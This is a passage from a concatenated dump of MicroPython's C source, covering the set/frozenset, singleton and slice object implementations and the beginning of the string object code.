TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include "py/nlr.h" #include "py/runtime.h" #include "py/runtime0.h" #include "py/builtin.h" #if MICROPY_PY_BUILTINS_SET typedef struct _mp_obj_set_t { mp_obj_base_t base; mp_set_t set; } mp_obj_set_t; typedef struct _mp_obj_set_it_t { mp_obj_base_t base; mp_fun_1_t iternext; mp_obj_set_t *set; size_t cur; } mp_obj_set_it_t; STATIC mp_obj_t set_it_iternext(mp_obj_t self_in); STATIC bool is_set_or_frozenset(mp_obj_t o) { return MP_OBJ_IS_TYPE(o, &mp_type_set) #if MICROPY_PY_BUILTINS_FROZENSET || MP_OBJ_IS_TYPE(o, &mp_type_frozenset) #endif ; } // This macro is shorthand for mp_check_self to verify the argument is a // set or frozenset for methods that operate on both of these types. #define check_set_or_frozenset(o) mp_check_self(is_set_or_frozenset(o)) // This function is used to verify the argument for methods that modify // the set object, and raises an exception if the arg is a frozenset. STATIC void check_set(mp_obj_t o) { #if MICROPY_PY_BUILTINS_FROZENSET if (MP_OBJ_IS_TYPE(o, &mp_type_frozenset)) { // Mutable method called on frozenset; emulate CPython behavior, eg: // AttributeError: 'frozenset' object has no attribute 'add' mp_raise_msg(&mp_type_AttributeError, "'frozenset' has no such attribute"); } #endif mp_check_self(MP_OBJ_IS_TYPE(o, &mp_type_set)); } STATIC void set_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { (void)kind; mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in); #if MICROPY_PY_BUILTINS_FROZENSET bool is_frozen = MP_OBJ_IS_TYPE(self_in, &mp_type_frozenset); #endif if (self->set.used == 0) { #if MICROPY_PY_BUILTINS_FROZENSET if (is_frozen) { mp_print_str(print, "frozen"); } #endif mp_print_str(print, "set()"); return; } bool first = true; #if MICROPY_PY_BUILTINS_FROZENSET if (is_frozen) { mp_print_str(print, "frozenset("); } #endif mp_print_str(print, "{"); for (size_t i = 0; i < self->set.alloc; i++) { if (MP_SET_SLOT_IS_FILLED(&self->set, i)) { if (!first) { mp_print_str(print, ", "); } first = false; mp_obj_print_helper(print, self->set.table[i], PRINT_REPR); } } mp_print_str(print, "}"); #if MICROPY_PY_BUILTINS_FROZENSET if (is_frozen) { mp_print_str(print, ")"); } #endif } STATIC mp_obj_t set_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) { mp_arg_check_num(n_args, n_kw, 0, 1, false); switch (n_args) { case 0: { // create a new, empty set mp_obj_set_t *set = MP_OBJ_TO_PTR(mp_obj_new_set(0, NULL)); // set actual set/frozenset type set->base.type = type; return MP_OBJ_FROM_PTR(set); } case 1: default: { // can only be 0 or 1 arg // 1 argument, an iterable from which we make a new set mp_obj_t set = mp_obj_new_set(0, NULL); mp_obj_t iterable = mp_getiter(args[0], NULL); mp_obj_t item; while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) { mp_obj_set_store(set, item); } // Set actual set/frozenset type ((mp_obj_set_t*)MP_OBJ_TO_PTR(set))->base.type = type; return set; } } } STATIC mp_obj_t set_it_iternext(mp_obj_t self_in) { mp_obj_set_it_t *self = MP_OBJ_TO_PTR(self_in); size_t max = self->set->set.alloc; mp_set_t *set = &self->set->set; for (size_t i = self->cur; i < max; i++) { if (MP_SET_SLOT_IS_FILLED(set, i)) { self->cur = i + 1; return set->table[i]; } } return MP_OBJ_STOP_ITERATION; } STATIC mp_obj_t set_getiter(mp_obj_t set_in, mp_obj_iter_buf_t *iter_buf) { assert(sizeof(mp_obj_set_it_t) <= sizeof(mp_obj_iter_buf_t)); mp_obj_set_it_t *o = (mp_obj_set_it_t*)iter_buf; o->base.type = &mp_type_polymorph_iter; o->iternext = set_it_iternext; o->set = (mp_obj_set_t *)MP_OBJ_TO_PTR(set_in); o->cur = 0; return MP_OBJ_FROM_PTR(o); } /******************************************************************************/ /* set methods */ STATIC mp_obj_t set_add(mp_obj_t self_in, mp_obj_t item) { check_set(self_in); mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in); mp_set_lookup(&self->set, item, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND); return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_2(set_add_obj, set_add); STATIC mp_obj_t set_clear(mp_obj_t self_in) { check_set(self_in); mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in); mp_set_clear(&self->set); return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_1(set_clear_obj, set_clear); STATIC mp_obj_t set_copy_as_mutable(mp_obj_t self_in) { mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in); mp_obj_set_t *other = m_new_obj(mp_obj_set_t); other->base.type = &mp_type_set; mp_set_init(&other->set, self->set.alloc); other->set.used = self->set.used; memcpy(other->set.table, self->set.table, self->set.alloc * sizeof(mp_obj_t)); return MP_OBJ_FROM_PTR(other); } STATIC mp_obj_t set_copy(mp_obj_t self_in) { check_set_or_frozenset(self_in); mp_obj_t other = set_copy_as_mutable(self_in); ((mp_obj_base_t*)MP_OBJ_TO_PTR(other))->type = ((mp_obj_base_t*)MP_OBJ_TO_PTR(self_in))->type; return other; } STATIC MP_DEFINE_CONST_FUN_OBJ_1(set_copy_obj, set_copy); STATIC mp_obj_t set_discard(mp_obj_t self_in, mp_obj_t item) { check_set(self_in); mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in); mp_set_lookup(&self->set, item, MP_MAP_LOOKUP_REMOVE_IF_FOUND); return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_2(set_discard_obj, set_discard); STATIC mp_obj_t set_diff_int(size_t n_args, const mp_obj_t *args, bool update) { mp_obj_t self; if (update) { check_set(args[0]); self = args[0]; } else { check_set_or_frozenset(args[0]); self = set_copy_as_mutable(args[0]); } for (size_t i = 1; i < n_args; i++) { mp_obj_t other = args[i]; if (self == other) { set_clear(self); } else { mp_obj_t iter = mp_getiter(other, NULL); mp_obj_t next; while ((next = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) { set_discard(self, next); } } } ((mp_obj_base_t*)MP_OBJ_TO_PTR(self))->type = ((mp_obj_base_t*)MP_OBJ_TO_PTR(args[0]))->type; return self; } STATIC mp_obj_t set_diff(size_t n_args, const mp_obj_t *args) { return set_diff_int(n_args, args, false); } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR(set_diff_obj, 1, set_diff); STATIC mp_obj_t set_diff_update(size_t n_args, const mp_obj_t *args) { set_diff_int(n_args, args, true); return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR(set_diff_update_obj, 1, set_diff_update); STATIC mp_obj_t set_intersect_int(mp_obj_t self_in, mp_obj_t other, bool update) { if (update) { check_set(self_in); } else { check_set_or_frozenset(self_in); } if (self_in == other) { return update ? mp_const_none : set_copy(self_in); } mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in); mp_obj_set_t *out = MP_OBJ_TO_PTR(mp_obj_new_set(0, NULL)); mp_obj_t iter = mp_getiter(other, NULL); mp_obj_t next; while ((next = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) { if (mp_set_lookup(&self->set, next, MP_MAP_LOOKUP)) { set_add(MP_OBJ_FROM_PTR(out), next); } } if (update) { m_del(mp_obj_t, self->set.table, self->set.alloc); self->set.alloc = out->set.alloc; self->set.used = out->set.used; self->set.table = out->set.table; } return update ? mp_const_none : MP_OBJ_FROM_PTR(out); } STATIC mp_obj_t set_intersect(mp_obj_t self_in, mp_obj_t other) { return set_intersect_int(self_in, other, false); } STATIC MP_DEFINE_CONST_FUN_OBJ_2(set_intersect_obj, set_intersect); STATIC mp_obj_t set_intersect_update(mp_obj_t self_in, mp_obj_t other) { return set_intersect_int(self_in, other, true); } STATIC MP_DEFINE_CONST_FUN_OBJ_2(set_intersect_update_obj, set_intersect_update); STATIC mp_obj_t set_isdisjoint(mp_obj_t self_in, mp_obj_t other) { check_set_or_frozenset(self_in); mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in); mp_obj_iter_buf_t iter_buf; mp_obj_t iter = mp_getiter(other, &iter_buf); mp_obj_t next; while ((next = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) { if (mp_set_lookup(&self->set, next, MP_MAP_LOOKUP)) { return mp_const_false; } } return mp_const_true; } STATIC MP_DEFINE_CONST_FUN_OBJ_2(set_isdisjoint_obj, set_isdisjoint); STATIC mp_obj_t set_issubset_internal(mp_obj_t self_in, mp_obj_t other_in, bool proper) { mp_obj_set_t *self; bool cleanup_self = false; if (is_set_or_frozenset(self_in)) { self = MP_OBJ_TO_PTR(self_in); } else { self = MP_OBJ_TO_PTR(set_make_new(&mp_type_set, 1, 0, &self_in)); cleanup_self = true; } mp_obj_set_t *other; bool cleanup_other = false; if (is_set_or_frozenset(other_in)) { other = MP_OBJ_TO_PTR(other_in); } else { other = MP_OBJ_TO_PTR(set_make_new(&mp_type_set, 1, 0, &other_in)); cleanup_other = true; } bool out = true; if (proper && self->set.used == other->set.used) { out = false; } else { mp_obj_iter_buf_t iter_buf; mp_obj_t iter = set_getiter(MP_OBJ_FROM_PTR(self), &iter_buf); mp_obj_t next; while ((next = set_it_iternext(iter)) != MP_OBJ_STOP_ITERATION) { if (!mp_set_lookup(&other->set, next, MP_MAP_LOOKUP)) { out = false; break; } } } // TODO: Should free objects altogether if (cleanup_self) { set_clear(MP_OBJ_FROM_PTR(self)); } if (cleanup_other) { set_clear(MP_OBJ_FROM_PTR(other)); } return mp_obj_new_bool(out); } STATIC mp_obj_t set_issubset(mp_obj_t self_in, mp_obj_t other_in) { return set_issubset_internal(self_in, other_in, false); } STATIC MP_DEFINE_CONST_FUN_OBJ_2(set_issubset_obj, set_issubset); STATIC mp_obj_t set_issubset_proper(mp_obj_t self_in, mp_obj_t other_in) { return set_issubset_internal(self_in, other_in, true); } STATIC mp_obj_t set_issuperset(mp_obj_t self_in, mp_obj_t other_in) { return set_issubset_internal(other_in, self_in, false); } STATIC MP_DEFINE_CONST_FUN_OBJ_2(set_issuperset_obj, set_issuperset); STATIC mp_obj_t set_issuperset_proper(mp_obj_t self_in, mp_obj_t other_in) { return set_issubset_internal(other_in, self_in, true); } STATIC mp_obj_t set_equal(mp_obj_t self_in, mp_obj_t other_in) { check_set_or_frozenset(self_in); mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in); if (!is_set_or_frozenset(other_in)) { return mp_const_false; } mp_obj_set_t *other = MP_OBJ_TO_PTR(other_in); if (self->set.used != other->set.used) { return mp_const_false; } return set_issubset(self_in, other_in); } STATIC mp_obj_t set_pop(mp_obj_t self_in) { check_set(self_in); mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in); mp_obj_t obj = mp_set_remove_first(&self->set); if (obj == MP_OBJ_NULL) { mp_raise_msg(&mp_type_KeyError, "pop from an empty set"); } return obj; } STATIC MP_DEFINE_CONST_FUN_OBJ_1(set_pop_obj, set_pop); STATIC mp_obj_t set_remove(mp_obj_t self_in, mp_obj_t item) { check_set(self_in); mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in); if (mp_set_lookup(&self->set, item, MP_MAP_LOOKUP_REMOVE_IF_FOUND) == MP_OBJ_NULL) { nlr_raise(mp_obj_new_exception(&mp_type_KeyError)); } return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_2(set_remove_obj, set_remove); STATIC mp_obj_t set_symmetric_difference_update(mp_obj_t self_in, mp_obj_t other_in) { check_set(self_in); mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in); mp_obj_t iter = mp_getiter(other_in, NULL); mp_obj_t next; while ((next = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) { mp_set_lookup(&self->set, next, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND_OR_REMOVE_IF_FOUND); } return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_2(set_symmetric_difference_update_obj, set_symmetric_difference_update); STATIC mp_obj_t set_symmetric_difference(mp_obj_t self_in, mp_obj_t other_in) { check_set_or_frozenset(self_in); mp_obj_t self_out = set_copy_as_mutable(self_in); set_symmetric_difference_update(self_out, other_in); ((mp_obj_base_t*)MP_OBJ_TO_PTR(self_out))->type = ((mp_obj_base_t*)MP_OBJ_TO_PTR(self_in))->type; return self_out; } STATIC MP_DEFINE_CONST_FUN_OBJ_2(set_symmetric_difference_obj, set_symmetric_difference); STATIC void set_update_int(mp_obj_set_t *self, mp_obj_t other_in) { mp_obj_t iter = mp_getiter(other_in, NULL); mp_obj_t next; while ((next = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) { mp_set_lookup(&self->set, next, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND); } } STATIC mp_obj_t set_update(size_t n_args, const mp_obj_t *args) { check_set(args[0]); for (size_t i = 1; i < n_args; i++) { set_update_int(MP_OBJ_TO_PTR(args[0]), args[i]); } return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR(set_update_obj, 1, set_update); STATIC mp_obj_t set_union(mp_obj_t self_in, mp_obj_t other_in) { check_set_or_frozenset(self_in); mp_obj_t self = set_copy(self_in); set_update_int(MP_OBJ_TO_PTR(self), other_in); return self; } STATIC MP_DEFINE_CONST_FUN_OBJ_2(set_union_obj, set_union); STATIC mp_obj_t set_unary_op(mp_uint_t op, mp_obj_t self_in) { mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in); switch (op) { case MP_UNARY_OP_BOOL: return mp_obj_new_bool(self->set.used != 0); case MP_UNARY_OP_LEN: return MP_OBJ_NEW_SMALL_INT(self->set.used); #if MICROPY_PY_BUILTINS_FROZENSET case MP_UNARY_OP_HASH: if (MP_OBJ_IS_TYPE(self_in, &mp_type_frozenset)) { // start hash with unique value mp_int_t hash = (mp_int_t)(uintptr_t)&mp_type_frozenset; size_t max = self->set.alloc; mp_set_t *set = &self->set; for (size_t i = 0; i < max; i++) { if (MP_SET_SLOT_IS_FILLED(set, i)) { hash += MP_OBJ_SMALL_INT_VALUE(mp_unary_op(MP_UNARY_OP_HASH, set->table[i])); } } return MP_OBJ_NEW_SMALL_INT(hash); } #endif default: return MP_OBJ_NULL; // op not supported } } STATIC mp_obj_t set_binary_op(mp_uint_t op, mp_obj_t lhs, mp_obj_t rhs) { mp_obj_t args[] = {lhs, rhs}; #if MICROPY_PY_BUILTINS_FROZENSET bool update = MP_OBJ_IS_TYPE(lhs, &mp_type_set); #else bool update = true; #endif switch (op) { case MP_BINARY_OP_OR: return set_union(lhs, rhs); case MP_BINARY_OP_XOR: return set_symmetric_difference(lhs, rhs); case MP_BINARY_OP_AND: return set_intersect(lhs, rhs); case MP_BINARY_OP_SUBTRACT: return set_diff(2, args); case MP_BINARY_OP_INPLACE_OR: if (update) { set_update(2, args); return lhs; } else { return set_union(lhs, rhs); } case MP_BINARY_OP_INPLACE_XOR: if (update) { set_symmetric_difference_update(lhs, rhs); return lhs; } else { return set_symmetric_difference(lhs, rhs); } case MP_BINARY_OP_INPLACE_AND: rhs = set_intersect_int(lhs, rhs, update); if (update) { return lhs; } else { return rhs; } case MP_BINARY_OP_INPLACE_SUBTRACT: return set_diff_int(2, args, update); case MP_BINARY_OP_LESS: return set_issubset_proper(lhs, rhs); case MP_BINARY_OP_MORE: return set_issuperset_proper(lhs, rhs); case MP_BINARY_OP_EQUAL: return set_equal(lhs, rhs); case MP_BINARY_OP_LESS_EQUAL: return set_issubset(lhs, rhs); case MP_BINARY_OP_MORE_EQUAL: return set_issuperset(lhs, rhs); case MP_BINARY_OP_IN: { mp_obj_set_t *o = MP_OBJ_TO_PTR(lhs); mp_obj_t elem = mp_set_lookup(&o->set, rhs, MP_MAP_LOOKUP); return mp_obj_new_bool(elem != MP_OBJ_NULL); } default: return MP_OBJ_NULL; // op not supported } } /******************************************************************************/ /* set constructors & public C API */ STATIC const mp_rom_map_elem_t set_locals_dict_table[] = { { MP_ROM_QSTR(MP_QSTR_add), MP_ROM_PTR(&set_add_obj) }, { MP_ROM_QSTR(MP_QSTR_clear), MP_ROM_PTR(&set_clear_obj) }, { MP_ROM_QSTR(MP_QSTR_copy), MP_ROM_PTR(&set_copy_obj) }, { MP_ROM_QSTR(MP_QSTR_discard), MP_ROM_PTR(&set_discard_obj) }, { MP_ROM_QSTR(MP_QSTR_difference), MP_ROM_PTR(&set_diff_obj) }, { MP_ROM_QSTR(MP_QSTR_difference_update), MP_ROM_PTR(&set_diff_update_obj) }, { MP_ROM_QSTR(MP_QSTR_intersection), MP_ROM_PTR(&set_intersect_obj) }, { MP_ROM_QSTR(MP_QSTR_intersection_update), MP_ROM_PTR(&set_intersect_update_obj) }, { MP_ROM_QSTR(MP_QSTR_isdisjoint), MP_ROM_PTR(&set_isdisjoint_obj) }, { MP_ROM_QSTR(MP_QSTR_issubset), MP_ROM_PTR(&set_issubset_obj) }, { MP_ROM_QSTR(MP_QSTR_issuperset), MP_ROM_PTR(&set_issuperset_obj) }, { MP_ROM_QSTR(MP_QSTR_pop), MP_ROM_PTR(&set_pop_obj) }, { MP_ROM_QSTR(MP_QSTR_remove), MP_ROM_PTR(&set_remove_obj) }, { MP_ROM_QSTR(MP_QSTR_symmetric_difference), MP_ROM_PTR(&set_symmetric_difference_obj) }, { MP_ROM_QSTR(MP_QSTR_symmetric_difference_update), MP_ROM_PTR(&set_symmetric_difference_update_obj) }, { MP_ROM_QSTR(MP_QSTR_union), MP_ROM_PTR(&set_union_obj) }, { MP_ROM_QSTR(MP_QSTR_update), MP_ROM_PTR(&set_update_obj) }, { MP_ROM_QSTR(MP_QSTR___contains__), MP_ROM_PTR(&mp_op_contains_obj) }, }; STATIC MP_DEFINE_CONST_DICT(set_locals_dict, set_locals_dict_table); const mp_obj_type_t mp_type_set = { { &mp_type_type }, .name = MP_QSTR_set, .print = set_print, .make_new = set_make_new, .unary_op = set_unary_op, .binary_op = set_binary_op, .getiter = set_getiter, .locals_dict = (mp_obj_dict_t*)&set_locals_dict, }; #if MICROPY_PY_BUILTINS_FROZENSET const mp_obj_type_t mp_type_frozenset = { { &mp_type_type }, .name = MP_QSTR_frozenset, .print = set_print, .make_new = set_make_new, .unary_op = set_unary_op, .binary_op = set_binary_op, .getiter = set_getiter, .locals_dict = (mp_obj_dict_t*)&set_locals_dict, }; #endif mp_obj_t mp_obj_new_set(size_t n_args, mp_obj_t *items) { mp_obj_set_t *o = m_new_obj(mp_obj_set_t); o->base.type = &mp_type_set; mp_set_init(&o->set, n_args); for (size_t i = 0; i < n_args; i++) { mp_set_lookup(&o->set, items[i], MP_MAP_LOOKUP_ADD_IF_NOT_FOUND); } return MP_OBJ_FROM_PTR(o); } void mp_obj_set_store(mp_obj_t self_in, mp_obj_t item) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_set)); mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in); mp_set_lookup(&self->set, item, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND); } #endif // MICROPY_PY_BUILTINS_SET ================================================ FILE: micropython/source/py/objsingleton.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/nlr.h" #include "py/obj.h" #include "py/runtime0.h" /******************************************************************************/ /* singleton objects defined by Python */ typedef struct _mp_obj_singleton_t { mp_obj_base_t base; qstr name; } mp_obj_singleton_t; STATIC void singleton_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { (void)kind; mp_obj_singleton_t *self = MP_OBJ_TO_PTR(self_in); mp_printf(print, "%q", self->name); } const mp_obj_type_t mp_type_singleton = { { &mp_type_type }, .name = MP_QSTR_, .print = singleton_print, }; const mp_obj_singleton_t mp_const_ellipsis_obj = {{&mp_type_singleton}, MP_QSTR_Ellipsis}; #if MICROPY_PY_BUILTINS_NOTIMPLEMENTED const mp_obj_singleton_t mp_const_notimplemented_obj = {{&mp_type_singleton}, MP_QSTR_NotImplemented}; #endif ================================================ FILE: micropython/source/py/objslice.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/nlr.h" #include "py/obj.h" #include "py/runtime0.h" /******************************************************************************/ /* slice object */ #if MICROPY_PY_BUILTINS_SLICE // TODO: This implements only variant of slice with 2 integer args only. // CPython supports 3rd arg (step), plus args can be arbitrary Python objects. typedef struct _mp_obj_slice_t { mp_obj_base_t base; mp_obj_t start; mp_obj_t stop; mp_obj_t step; } mp_obj_slice_t; STATIC void slice_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) { (void)kind; mp_obj_slice_t *o = MP_OBJ_TO_PTR(o_in); mp_print_str(print, "slice("); mp_obj_print_helper(print, o->start, PRINT_REPR); mp_print_str(print, ", "); mp_obj_print_helper(print, o->stop, PRINT_REPR); mp_print_str(print, ", "); mp_obj_print_helper(print, o->step, PRINT_REPR); mp_print_str(print, ")"); } #if MICROPY_PY_BUILTINS_SLICE_ATTRS STATIC void slice_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) { if (dest[0] != MP_OBJ_NULL) { // not load attribute return; } mp_obj_slice_t *self = MP_OBJ_TO_PTR(self_in); if (attr == MP_QSTR_start) { dest[0] = self->start; } else if (attr == MP_QSTR_stop) { dest[0] = self->stop; } else if (attr == MP_QSTR_step) { dest[0] = self->step; } } #endif const mp_obj_type_t mp_type_slice = { { &mp_type_type }, .name = MP_QSTR_slice, .print = slice_print, #if MICROPY_PY_BUILTINS_SLICE_ATTRS .attr = slice_attr, #endif }; mp_obj_t mp_obj_new_slice(mp_obj_t ostart, mp_obj_t ostop, mp_obj_t ostep) { mp_obj_slice_t *o = m_new_obj(mp_obj_slice_t); o->base.type = &mp_type_slice; o->start = ostart; o->stop = ostop; o->step = ostep; return MP_OBJ_FROM_PTR(o); } void mp_obj_slice_get(mp_obj_t self_in, mp_obj_t *start, mp_obj_t *stop, mp_obj_t *step) { assert(MP_OBJ_IS_TYPE(self_in, &mp_type_slice)); mp_obj_slice_t *self = MP_OBJ_TO_PTR(self_in); *start = self->start; *stop = self->stop; *step = self->step; } #endif ================================================ FILE: micropython/source/py/objstr.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * Copyright (c) 2014 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/nlr.h" #include "py/unicode.h" #include "py/objstr.h" #include "py/objlist.h" #include "py/runtime0.h" #include "py/runtime.h" #include "py/stackctrl.h" STATIC mp_obj_t str_modulo_format(mp_obj_t pattern, size_t n_args, const mp_obj_t *args, mp_obj_t dict); STATIC mp_obj_t mp_obj_new_bytes_iterator(mp_obj_t str, mp_obj_iter_buf_t *iter_buf); STATIC NORETURN void bad_implicit_conversion(mp_obj_t self_in); /******************************************************************************/ /* str */ void mp_str_print_quoted(const mp_print_t *print, const byte *str_data, size_t str_len, bool is_bytes) { // this escapes characters, but it will be very slow to print (calling print many times) bool has_single_quote = false; bool has_double_quote = false; for (const byte *s = str_data, *top = str_data + str_len; !has_double_quote && s < top; s++) { if (*s == '\'') { has_single_quote = true; } else if (*s == '"') { has_double_quote = true; } } int quote_char = '\''; if (has_single_quote && !has_double_quote) { quote_char = '"'; } mp_printf(print, "%c", quote_char); for (const byte *s = str_data, *top = str_data + str_len; s < top; s++) { if (*s == quote_char) { mp_printf(print, "\\%c", quote_char); } else if (*s == '\\') { mp_print_str(print, "\\\\"); } else if (*s >= 0x20 && *s != 0x7f && (!is_bytes || *s < 0x80)) { // In strings, anything which is not ascii control character // is printed as is, this includes characters in range 0x80-0xff // (which can be non-Latin letters, etc.) mp_printf(print, "%c", *s); } else if (*s == '\n') { mp_print_str(print, "\\n"); } else if (*s == '\r') { mp_print_str(print, "\\r"); } else if (*s == '\t') { mp_print_str(print, "\\t"); } else { mp_printf(print, "\\x%02x", *s); } } mp_printf(print, "%c", quote_char); } #if MICROPY_PY_UJSON void mp_str_print_json(const mp_print_t *print, const byte *str_data, size_t str_len) { // for JSON spec, see http://www.ietf.org/rfc/rfc4627.txt // if we are given a valid utf8-encoded string, we will print it in a JSON-conforming way mp_print_str(print, "\""); for (const byte *s = str_data, *top = str_data + str_len; s < top; s++) { if (*s == '"' || *s == '\\') { mp_printf(print, "\\%c", *s); } else if (*s >= 32) { // this will handle normal and utf-8 encoded chars mp_printf(print, "%c", *s); } else if (*s == '\n') { mp_print_str(print, "\\n"); } else if (*s == '\r') { mp_print_str(print, "\\r"); } else if (*s == '\t') { mp_print_str(print, "\\t"); } else { // this will handle control chars mp_printf(print, "\\u%04x", *s); } } mp_print_str(print, "\""); } #endif STATIC void str_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { GET_STR_DATA_LEN(self_in, str_data, str_len); #if MICROPY_PY_UJSON if (kind == PRINT_JSON) { mp_str_print_json(print, str_data, str_len); return; } #endif #if !MICROPY_PY_BUILTINS_STR_UNICODE bool is_bytes = MP_OBJ_IS_TYPE(self_in, &mp_type_bytes); #else bool is_bytes = true; #endif if (kind == PRINT_RAW || (!MICROPY_PY_BUILTINS_STR_UNICODE && kind == PRINT_STR && !is_bytes)) { mp_printf(print, "%.*s", str_len, str_data); } else { if (is_bytes) { mp_print_str(print, "b"); } mp_str_print_quoted(print, str_data, str_len, is_bytes); } } mp_obj_t mp_obj_str_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) { #if MICROPY_CPYTHON_COMPAT if (n_kw != 0) { mp_arg_error_unimpl_kw(); } #endif mp_arg_check_num(n_args, n_kw, 0, 3, false); switch (n_args) { case 0: return MP_OBJ_NEW_QSTR(MP_QSTR_); case 1: { vstr_t vstr; mp_print_t print; vstr_init_print(&vstr, 16, &print); mp_obj_print_helper(&print, args[0], PRINT_STR); return mp_obj_new_str_from_vstr(type, &vstr); } default: // 2 or 3 args // TODO: validate 2nd/3rd args if (MP_OBJ_IS_TYPE(args[0], &mp_type_bytes)) { GET_STR_DATA_LEN(args[0], str_data, str_len); GET_STR_HASH(args[0], str_hash); if (str_hash == 0) { str_hash = qstr_compute_hash(str_data, str_len); } mp_obj_str_t *o = MP_OBJ_TO_PTR(mp_obj_new_str_of_type(type, NULL, str_len)); o->data = str_data; o->hash = str_hash; return MP_OBJ_FROM_PTR(o); } else { mp_buffer_info_t bufinfo; mp_get_buffer_raise(args[0], &bufinfo, MP_BUFFER_READ); return mp_obj_new_str(bufinfo.buf, bufinfo.len, false); } } } STATIC mp_obj_t bytes_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { (void)type_in; #if MICROPY_CPYTHON_COMPAT if (n_kw != 0) { mp_arg_error_unimpl_kw(); } #else 